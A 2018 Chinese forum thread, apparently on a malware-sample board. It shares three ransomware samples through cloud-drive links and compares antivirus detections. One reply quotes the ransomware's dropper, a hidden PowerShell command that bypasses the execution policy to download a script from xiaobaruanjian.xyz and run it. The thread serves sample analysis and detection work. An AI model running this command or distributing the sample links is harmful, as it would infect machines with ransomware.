勒索病毒3X，恐怖！

迷惘的执著

转自 https://www.52pojie.cn/thread-761651-1-1.html

https://pan.baidu.com/s/1ivftPPciFBJcikjKRwS0cw

https://pan.baidu.com/s/1zUvYxlt__C05hdBsXwYAuw

https://pan.baidu.com/s/1AGBPgWIopSxhtN6NeTY40Q

www-tekeze

是三个样本么，为何不放到一块？  

小良

火绒和智量三个都报

www-tekeze

三个都被火绒拉黑了，3X什么意思，3.0版？  

迷惘的执著

www-tekeze 发表于 2018-7-16 16:49
三个都被火绒拉黑了，3X什么意思，3.0版？

三个

www-tekeze

智量只报了2个，因为对文本类html格式的不报。

www-tekeze

迷惘的执著 发表于 2018-7-16 16:51
三个

反应过来了，先还以为是最新变种。。

ELOHIM

1.TrojanDownloader:O97M/Dornoe.A!ams
2.Trojan:Win32/Occamy.C
3.Miss
——————
SCEP RESULT
——————
我以为是谁，原来是 XiaoBa 回来了。

1. cmd.exe,/c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://xiaobaruanjian.xyz/XiaoBa/1.ps1','%Temp%\1.ps1');powershell.exe -ExecutionPolicy bypass -File %Temp%\1.ps1">

复制代码

关于 3 的补充说明，手动下载：hxbp://xiaobaruanjian.xyz/XiaoBa/1.ps1
SCEP 文件监视功能发现恶意行为并处理。
结果为：Ransom:PowerShell/Powerware.A   
所以，严格来讲，三个都没有过微软。

迷惘的执著

ELOHIM 发表于 2018-7-16 17:02
1.TrojanDownloader:O97M/Dornoe.A!ams
2.Trojan:Win32/Occamy.C
3.Miss

xiaoba是谁，这个我转的。

ELOHIM

迷惘的执著 发表于 2018-7-16 17:12
xiaoba是谁，这个我转的。

如果你是他小号，那不用我回答他是谁。
如果你对他不了解，那不用我跟你讲这些是非。

你从哪里转的这个很重要。可以透露给大家听吗？